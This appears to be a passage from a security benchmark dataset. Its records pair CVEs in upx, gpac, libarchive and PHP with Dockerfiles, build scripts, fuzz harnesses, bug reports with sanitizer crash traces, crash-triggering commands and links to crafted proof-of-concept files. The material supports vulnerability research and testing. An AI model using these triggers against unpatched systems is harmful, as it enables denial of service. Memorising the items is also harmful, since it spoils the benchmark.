00 00 00 00 00 00 00 00[fa]fa fa fa fa 0x0c2c7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==110358==ABORTING ``` Then analysis the reasons for segv by debugging: ```bash Program received signal SIGSEGV, Segmentation fault. 0x0000000000527258 in PackLinuxElf32::invert_pt_dynamic (this=this@entry=0xa00030, dynp=<optimized out>) at p_lx_elf.cpp:1688 1688 if (buckets[j]) { [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000000000a009c1 → 0x00000000ffffffff $rbx : 0x0000000000a00030 → 0x00000000007267a0 → <vtable+0> add BYTE PTR [rax], al $rcx : 0x0 $rdx : 0x0 $rsp : 0x00007fffffffcc10 → 0x0000000000a007c0 → 0xff0000010900457f $rbp : 0xffffff00 $rsi : 0x7d88 $rdi : 0x6 $rip : 0x0000000000527258 → <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov r9d, DWORD PTR [rax+rsi*4+0x1c] $r8 : 0x0 $r9 : 0x0 $r10 : 0x10 $r11 : 0x0 $r12 : 0xd $r13 : 0xffffffff $r14 : 0x200 $r15 : 0x0 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffcc10│+0x0000: 0x0000000000a007c0 → 0xff0000010900457f ← $rsp 0x00007fffffffcc18│+0x0008: 0x0000000000000000 0x00007fffffffcc20│+0x0010: 0x00007ffff7352260 → <read+16> cmp rax, 0xfffffffffffff001 0x00007fffffffcc28│+0x0018: 0x0000000000000258 0x00007fffffffcc30│+0x0020: 0x00007ffff7362447 → <lseek64+7> cmp rax, 0xfffffffffffff001 0x00007fffffffcc38│+0x0028: 0x00000000005255b2 → <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov rax, QWORD PTR [rsp+0x10] 0x00007fffffffcc40│+0x0030: 0x0000000000000000 0x00007fffffffcc48│+0x0038: 0x0000000000000000 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x527247 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov rcx, QWORD PTR [rsp+0x8] 0x52724c <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov rdx, QWORD PTR [rsp] 0x527250 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> lea rsp, [rsp+0x98] → 0x527258 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov r9d, DWORD PTR [rax+rsi*4+0x1c] 0x52725d <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> test r9d, r9d 0x527260 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> je 0x5272eb <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*)+7515> 0x527266 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> xchg ax, ax 0x527268 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> lea rsp, [rsp-0x98] 0x527270 <PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16,+0> mov QWORD PTR [rsp], rdx ───────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:p_lx_elf.cpp+1688 ──── 1683 unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr; 1684 //unsigned const *const gashend = &hasharr[n_bucket]; // minimum, except: 1685 // Rust and Android trim unused zeroes from high end of hasharr[] 1686 unsigned bmax = 0; 1687 for (unsigned j= 0; j < n_bucket; ++j) { → 1688 if (buckets[j]) { 1689 if (buckets[j] < symbias) { 1690 char msg[50]; snprintf(msg, sizeof(msg), 1691 "bad DT_GNU_HASH bucket[%d] < symbias{%#x}\n", 1692 buckets[j], symbias); 1693 throwCantPack(msg); ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "upx.out", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x527258 → PackLinuxElf32::invert_pt_dynamic(this=0xa00030, dynp=<optimized out>) [#1] 0x529294 → PackLinuxElf32::invert_pt_dynamic(dynp=<optimized out>, this=0xa00030) [#2] 0x529294 → PackLinuxElf32::PackLinuxElf32help1(this=0xa00030, f=0x7fffffffce20) [#3] 0x52c65e → PackLinuxElf32Le::PackLinuxElf32Le(f=0x7fffffffce20, this=0xa00030) [#4] 0x52c65e → PackLinuxElf32x86::PackLinuxElf32x86(f=0x7fffffffce20, this=0xa00030) [#5] 0x52c65e → PackBSDElf32x86::PackBSDElf32x86(f=0x7fffffffce20, this=0xa00030) [#6] 0x52c65e → PackFreeBSDElf32x86::PackFreeBSDElf32x86(this=0xa00030, f=0x7fffffffce20) [#7] 0x60448c → PackMaster::visitAllPackers(func=0x602c30 <try_unpack(Packer*, void*)>, f=0x7fffffffce20, o=0x7fffffffcfd8, user=0x7fffffffce20) [#8] 0x6072ca → PackMaster::getUnpacker(f=<optimized out>) [#9] 0x6072ca → PackMaster::unpack(this=0x7fffffffcfc0, fo=0x7fffffffcef0) ``` The instruction to crash is, corresponds to the bucket [j] in the source code ```bash mov r9d, DWORD PTR [rax+rsi*4+0x1c] ``` The value of register rax and rsi are: ```bash $rax : 0x0000000000a009c1 $rsi : 0x7d88 ``` The DWORD PTR pointer to 0xa1fffd, where the 0xa20000 is a invalid address. ```bash gef➤ x /10xg 0xa1fffd 0xa1fffd: Cannot access memory at address 0xa20000 ``` ## What should have happened? Decompress a crafted/suspicious file. ## Do you have an idea for a solution? A boundary check is needed for loop variable 'j' because the size allocated for variable 'buckets' is limited. ```cpp unsigned const *const bitmask = (unsigned const *)(void const *)&gashtab[4]; unsigned const *const buckets = (unsigned const *)&bitmask[n_bitmask]; unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr; //unsigned const *const gashend = &hasharr[n_bucket]; // minimum, except: // Rust and Android trim unused zeroes from high end of hasharr[] unsigned bmax = 0; for (unsigned j= 0; j < n_bucket; ++j) { if (buckets[j]) { ``` ## How can we reproduce the issue? 1. compile upx with address-sanitize 2. execute cmd ```bash upx.out -df $PoC -o /dev/null ``` [Poc](https://github.com/14isnot40/vul_discovery/blob/master/upx/df/hbo_PackLinuxElf32%5E%25%5E%25invert_pt_dynamic) can be found here. ## Please tell us details about your environment. * UPX version used (`upx --version`): ```bash upx 4.0.0-git-c6b9e3c62d15 (latest-devel-branch) UCL data compression library 1.03 zlib data compression library 1.2.8 LZMA SDK version 4.43 ``` * Host Operating System and version: Ubuntu 16.04 64-bit * Host CPU architecture: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz with 8GB * Target Operating System and version: same as Host * Target CPU architecture: same as Host Comments: Comment by jreiser on 2020-05-28 00:12:15+00:00: Fixed on `devel` branch by above commit. --- Comment by jreiser on 2023-04-17 18:19:23+00:00: Verified "problem not present" in official release [upx-4.0.2](https://github.com/upx/upx/releases/tag/v4.0.2) of Jan.30, 2023: ``` $ valgrind $UPX402 -df $PoC -o /dev/null ==26280== Memcheck, a memory error detector ==26280== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al. ==26280== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info ==26280== Command: /home2/upx/upx-4.0.2-amd64_linux/upx -df hbo_PackLinuxElf32invert_pt_dynamic -o /dev/null ==26280== Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: hbo_PackLinuxElf32invert_pt_dynamic: NotPackedException: not packed by UPX $ $ grep UPX * ## empty output: independent verification of "not packed by UPX" $ echo $? 1 ## no matches $ ```
[]
[ { "sha": "3d87b34754bbac3e171600be396ec652794b2cfa", "url": "https://github.com/upx/upx/commit/3d87b34754bbac3e171600be396ec652794b2cfa" }, { "sha": "828a6cf07b69bc7314e888d7b76f0eafe125a3f6", "url": "https://github.com/upx/upx/commit/828a6cf07b69bc7314e888d7b76f0eafe125a3f6" } ]
gpac.cve-2020-22674
gpac/gpac
6b4ab401297be43b57f9eddd675971a8a5feab44
2019-06-27T05:20:45
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 6b4ab401297be43b57f9eddd675971a8a5feab44 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1346 ## Description: Issue: gpac/gpac#1346 Title: Segmentation fault (ASAN: SEGV on unknown address) in the FixTrackID function of isom_intern.c:133 State: closed Created by: gutiniao Created at: 2019-11-13 07:15:54+00:00 Issue Body: Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! [ √] I looked for a similar issue and couldn't find any. [ √] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ [ √] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ A crafted input will lead to crash in isom_intern.c at gpac 0.8.0. Triggered by ./MP4Box -diso POC -out /dev/null Poc [009-invalid-FixTrackID](https://github.com/gutiniao/afltest/blob/master/009-invalid-FixTrackID) The ASAN information is as follows: ``` ./MP4Box -diso 009-invalid-FixTrackID -out /dev/null [iso file] Box "avcC" (start 939) has 34 extra bytes [iso file] Unknown box type 0000 in parent sinf [iso file] Unknown box type 74E8036B in parent moov [iso file] Unknown box type tfhd in parent moof [iso file] Box "UNKN" is larger than container box [iso file] Box "moof" size 1463 (start 2004) invalid (read 7972) ASAN:DEADLYSIGNAL ================================================================= ==13653==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028 (pc 0x564b3322e701 bp 0x60d000000110 sp 0x7fff462fc3f0 T0) ==13653==The signal is caused by a READ memory access. ==13653==Hint: address points to the zero page. #0 0x564b3322e700 in FixTrackID isomedia/isom_intern.c:133 #1 0x564b3322e700 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:372 #2 0x564b3322fbca in gf_isom_open_file isomedia/isom_intern.c:615 #3 0x564b32f78852 in mp4boxMain /home/liuz/gpac-master/applications/mp4box/main.c:4767 #4 0x7fd75e925b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x564b32f69b19 in _start (/usr/local/gpac-asan3/bin/MP4Box+0x163b19) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV isomedia/isom_intern.c:133 in FixTrackID ==13653==ABORTING ``` Comments: Comment by aureliendavid on 2020-01-09 18:00:03+00:00: thanks for the report this should be fixed by the commit above reopen if needed Commit References: eec9e058a9486fe4e99c33021481d9e1826ca9db
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
[ { "sha": "6040a5981a9f51410bd18af8820afbd2748c2d76", "url": "https://github.com/gpac/gpac/commit/6040a5981a9f51410bd18af8820afbd2748c2d76" }, { "sha": "eec9e058a9486fe4e99c33021481d9e1826ca9db", "url": "https://github.com/gpac/gpac/commit/eec9e058a9486fe4e99c33021481d9e1826ca9db" } ]
libarchive.cve-2016-10209
libarchive/libarchive
629358182b04d7de2316bbd29708c58ddf797fd2
2016-10-23T22:37:27
libarchive
c++
FROM hwiwonlee/secb.base:latest RUN apt-get install -y make autoconf automake libtool pkg-config libbz2-dev liblzo2-dev liblzma-dev liblz4-dev libz-dev libxml2-dev libssl-dev RUN git clone https://github.com/libarchive/libarchive libarchive RUN git -C libarchive checkout 629358182b04d7de2316bbd29708c58ddf797fd2 WORKDIR $SRC/libarchive COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure make -j$(nproc) all
/src/libarchive
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/libarchive/libarchive/issues/842 ## Description: Issue: libarchive/libarchive#842 Title: SIGSEGV in archive_wstring_append_from_mbs() State: closed Created by: fumfel Created at: 2016-12-12 17:47:50+00:00 Issue Body: **SIGSEGV in archive_wstring_append_from_mbs()** Tested on Git HEAD: 54546be8a7a2e69738247d68f4f6c253430a3d6f Payload: https://frankowicz.me/storage/crashes/la_segv_archive_wstring_append_from_mbs To reproduce: `bsdtar -t -f la_segv_archive_wstring_append_from_mbs` ASAN Output: ``` ==1002==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005fb3cc bp 0x7ffc5999dae0 sp 0x7ffc5999daa0 T0) #0 0x5fb3cb in archive_wstring_append_from_mbs libarchive/archive_string.c:603 #1 0x60363a in archive_mstring_get_wcs libarchive/archive_string.c:3929 #2 0x42a1c4 in archive_entry_pathname_w libarchive/archive_entry.c:580 #3 0x5bfee9 in zip_read_local_file_header libarchive/archive_read_support_format_zip.c:871 #4 0x5c2b1d in archive_read_format_zip_streamable_read_header libarchive/archive_read_support_format_zip.c:2149 #5 0x45841b in _archive_read_next_header2 libarchive/archive_read.c:648 #6 0x45841b in _archive_read_next_header libarchive/archive_read.c:686 #7 0x41280f in read_archive tar/read.c:261 #8 0x414b06 in tar_mode_t tar/read.c:94 #9 0x40963f in main tar/bsdtar.c:803 #10 0x7fb92a6f482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x40c3e8 in _start (/usr/local/bin/bsdtar+0x40c3e8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV libarchive/archive_string.c:603 ```archive_wstring_append_from_mbs ==1002==ABORTING Comments: Comment by mmatuska on 2016-12-29 19:48:53+00:00: Could you please re-test with latest master? --- Comment by fumfel on 2016-12-29 23:42:51+00:00: e8a9de5eaf3b79fc3d990d056343bb52c51c5ba4 works fine :) --- Comment by rhertzog on 2017-04-06 16:14:53+00:00: @fumfel I am unable to reproduce the segfault, not even when I reuse the very same git commit as you. Is https://frankowicz.me/storage/crashes/la_segv_archive_wstring_append_from_mbs the correct payload ? Here's the checksum of the file that I downloaded: $ sha1sum CVE-2016-10209-la_segv_archive_wstring_append_from_mbs 594afbd22628a6f78b466d235e235eebd25fb029 CVE-2016-10209-la_segv_archive_wstring_append_from_mbs Instead of the segfault I always get this error message: $ bsdtar -t -f CVE-2016-10209-la_segv_archive_wstring_append_from_mbs bsdtar: Archive entry has empty or unreadable filename ... skipping. bsdtar: (null) bsdtar: Error exit delayed from previous errors. --- Comment by carnil on 2017-04-07 04:48:22+00:00: Looking at the possible commits which fix the issue I guess the right one is 42a3408ac7df1e69bea9ea12b72e14f59f7400c0 (as e8a9de5 is just a change for the "Fix style typo in tar.5"), which is as well between the reporting date and the confirm that it does not happen anymore on "latest master". --- Comment by carnil on 2017-04-07 04:49:38+00:00: FTR, this issue has been assigned [CVE-2016-10209](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10209) --- Comment by attritionorg on 2017-04-08 16:45:19+00:00: For reference, this is also known as CVE-2016-1000349 which is listed as an assignment duplicate. --- Comment by msmeissn on 2017-04-10 14:18:56+00:00: are you using a special $LANG ? --- Comment by rhertzog on 2017-04-10 14:27:19+00:00: @msmeissn I have LANG set but it's not really a "special" value, just plain French. ``` $ env|grep LANG LANG=fr_FR.UTF-8 GDM_LANG=fr_FR.UTF-8``` --- Comment by msmeissn on 2017-04-10 14:29:11+00:00: i was wondering about the original reporter. I also cannot get it crash with "C" or de_DE.utf8 --- Comment by fumfel on 2017-04-10 15:55:59+00:00: I don't remember - probably I have "pl_PL.utf8" or "en_US.utf8". Commit References: e8a9de5eaf3b79fc3d990d056343bb52c51c5ba4 594afbd22628a6f78b466d235e235eebd25fb029 42a3408ac7df1e69bea9ea12b72e14f59f7400c0 54546be8a7a2e69738247d68f4f6c253430a3d6f
[ { "content": "// Copyright 2016 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n////////////////////////////////////////////////////////////////////////////////\n#include <stddef.h>\n#include <stdint.h>\n#include <vector>\n\n#include \"archive.h\"\n\nstruct Buffer {\n const uint8_t *buf;\n size_t len;\n};\n\nssize_t reader_callback(struct archive *a, void *client_data,\n const void **block) {\n Buffer *buffer = reinterpret_cast<Buffer *>(client_data);\n *block = buffer->buf;\n ssize_t len = buffer->len;\n buffer->len = 0;\n return len;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t len) {\n struct archive *a = archive_read_new();\n\n archive_read_support_filter_all(a);\n archive_read_support_format_all(a);\n\n Buffer buffer = {buf, len};\n archive_read_open(a, &buffer, NULL, reader_callback, NULL);\n\n std::vector<uint8_t> data_buffer(getpagesize(), 0);\n struct archive_entry *entry;\n while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {\n while (archive_read_data(a, data_buffer.data(), data_buffer.size()) > 0)\n ;\n }\n\n archive_read_free(a);\n return 0;\n}\n", "filename": "libarchive_fuzzer.cc" }, { "content": "homepage: \"https://github.com/libarchive/libarchive\"\n", "filename": "target.yaml" } ]
[ { "sha": "54546be8a7a2e69738247d68f4f6c253430a3d6f", "url": "https://github.com/libarchive/libarchive/commit/54546be8a7a2e69738247d68f4f6c253430a3d6f" }, { "sha": "e8a9de5eaf3b79fc3d990d056343bb52c51c5ba4", "url": "https://github.com/libarchive/libarchive/commit/e8a9de5eaf3b79fc3d990d056343bb52c51c5ba4" }, { "sha": "594afbd22628a6f78b466d235e235eebd25fb029", "url": "https://github.com/libarchive/libarchive/commit/594afbd22628a6f78b466d235e235eebd25fb029" }, { "sha": "42a3408ac7df1e69bea9ea12b72e14f59f7400c0", "url": "https://github.com/libarchive/libarchive/commit/42a3408ac7df1e69bea9ea12b72e14f59f7400c0" } ]
upx.cve-2020-27800
upx/upx
69ca635c4c0ba474e9ca583dbb42e3d028c4533a
2022-10-28T03:38:03
upx
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool cmake RUN git clone https://github.com/upx/upx upx RUN git -C upx checkout 69ca635c4c0ba474e9ca583dbb42e3d028c4533a WORKDIR $SRC/upx COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sed -i 's/ \&\& __clang_major__ < 15//m' /src/upx/src/util/util.cpp mkdir -p build/debug cd build/debug cmake ../.. cmake --build . --target $fuzz_basename -v
/src/upx
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/upx/upx/issues/395 ## Description: Issue: upx/upx#395 Title: Another heap buffer overflow in get_le32() State: closed Created by: giantbranch Created at: 2020-07-24 08:10:02+00:00 Issue Body: Author: giantbranch of NSFOCUS Security Team ## What's the problem (or question)? A heap buffer overflow read in the latest commit of the devel branch ASAN reports: ``` ==5614==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x624000007da0 at pc 0x000000757233 bp 0x7ffe125eb8e0 sp 0x7ffe125eb8d8 READ of size 4 at 0x624000007da0 thread T0 #0 0x757232 in get_le32(void const*) /src/upx-multi/src/./bele.h:164:12 #1 0x757232 in N_BELE_RTP::LEPolicy::get32(void const*) const /src/upx-multi/src/./bele_policy.h:192:18 #2 0x58a45e in Packer::get_te32(void const*) const /src/upx-multi/src/./packer.h:296:65 #3 0x58a45e in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*, unsignedint) /src/upx-multi/src/p_lx_elf.cpp:1610:32 #4 0x588a1e in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:305:13 #5 0x5d6504 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9 #6 0x5d6504 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4847:54 #7 0x5d6a4c in PackNetBSDElf32x86::PackNetBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4884:56 #8 0x6e4df0 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:191:9 #9 0x6e9771 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18 #10 0x6e9771 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9 #11 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12 #12 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13 #13 0x555afd in main /src/upx-multi/src/main.cpp:1538:5 #14 0x7fc6ddc5d83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291 #15 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98) 0x624000007da2 is located 0 bytes to the right of 7330-byte region [0x624000006100,0x624000007da2) allocated by thread T0 here: #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d) #1 0x5697b7 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42 SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./bele.h:164:12 in get_le32(void const*) Shadow bytes around the buggy address: 0x0c487fff8f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c487fff8f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c487fff8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c487fff8f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c487fff8fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c487fff8fb0: 00 00 00 00[02]fa fa fa fa fa fa fa fa fa fa fa 0x0c487fff8fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c487fff8fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c487fff8fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c487fff8ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c487fff9000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==5614==ABORTING ``` ## What should have happened? Check if the file is normal, exit if abnormal ## Do you have an idea for a solution? Add more checks ## How can we reproduce the issue? upx.out -d <poc_filename> poc: [tests_192f7cabc11cc03830cccf5a14885865d1532c0d_.tar.gz](https://github.com/upx/upx/files/4970829/tests_192f7cabc11cc03830cccf5a14885865d1532c0d_.tar.gz) ## Please tell us details about your environment. * UPX version used (`upx --version`): ``` upx 4.0.0-git-8d1d605b3d8c+ UCL data compression library 1.03 zlib data compression library 1.2.8 LZMA SDK version 4.43 Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer Copyright (C) 1996-2020 Laszlo Molnar Copyright (C) 2000-2020 John F. Reiser Copyright (C) 2002-2020 Jens Medoch Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler Copyright (C) 1999-2006 Igor Pavlov UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'. ``` * Host Operating System and version: Ubuntu 16.04.2 LTS * Host CPU architecture: x86_64 * Target Operating System and version: same as Host * Target CPU architecture: same as Host Comments: Comment by jreiser on 2020-07-25 15:20:53+00:00: Fixed on `devel` branch by above commit. Attachments: https://github.com/upx/upx/files/4970829/tests_192f7cabc11cc03830cccf5a14885865d1532c0d_.tar.gz Commit References: 192f7cabc11cc03830cccf5a14885865d1532c0d
[]
[ { "sha": "76cd518110a9e7597363012ff4e31bcd526a081e", "url": "https://github.com/upx/upx/commit/76cd518110a9e7597363012ff4e31bcd526a081e" }, { "sha": "cc60f03b2eae1626155d0b6d97a2d9d7529616c7", "url": "https://github.com/upx/upx/commit/cc60f03b2eae1626155d0b6d97a2d9d7529616c7" }, { "sha": "192f7cabc11cc03830cccf5a14885865d1532c0d", "url": "https://github.com/upx/upx/commit/192f7cabc11cc03830cccf5a14885865d1532c0d" } ]
php.cve-2016-4537
php/php-src
fc1df8e7a6886e29a6ed5bef3f674ac61164e847
2014-08-27T08:31:35
php-src
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev RUN git clone https://github.com/php/php-src php-src RUN git -C php-src checkout fc1df8e7a6886e29a6ed5bef3f674ac61164e847 WORKDIR $SRC/php-src COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./buildconf --force ./configure \ --enable-option-checking=fatal \ --disable-libxml \ --disable-dom \ --disable-simplexml \ --disable-xml \ --disable-xmlreader \ --disable-xmlwriter \ --without-pear \ --enable-exif \ --disable-phpdbg \ --disable-cgi make -j$(nproc)
/src/php-src
address
================= Bug Report (1/1) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=72093 ## Description: PHP Bug ID: 72093 Summary: bcpowmod accepts negative scale and corrupts _one_ definition Status: Closed PHP Version: 5.5.34 Assigned: stas (profile) CVE-ID: 2016-4537 Description: Description: ------------ Run with ASAN Test script: --------------- <?php bcpowmod(1, "A", 128, -200); bcpowmod(1, 1.2, 1, 1); Expected result: ---------------- No crash Actual result: -------------- bc math warning: non-zero scale in exponent ================================================================= ==15893==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb3805f68 at pc 0x083fd271 bp 0xbf91e4d8 sp 0xbf91e4c8 READ of size 1 at 0xb3805f68 thread T0 #0 0x83fd270 in bc_divide /home/fmunozs/phpgit/php56/ext/bcmath/libbcmath/src/div.c:122 #1 0x83fff96 in bc_raisemod /home/fmunozs/phpgit/php56/ext/bcmath/libbcmath/src/raisemod.c:69 #2 0x83f9923 in zif_bcpowmod /home/fmunozs/phpgit/php56/ext/bcmath/bcmath.c:426 #3 0x9a7c718 in zend_do_fcall_common_helper_SPEC /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:558 #4 0x9640316 in execute_ex 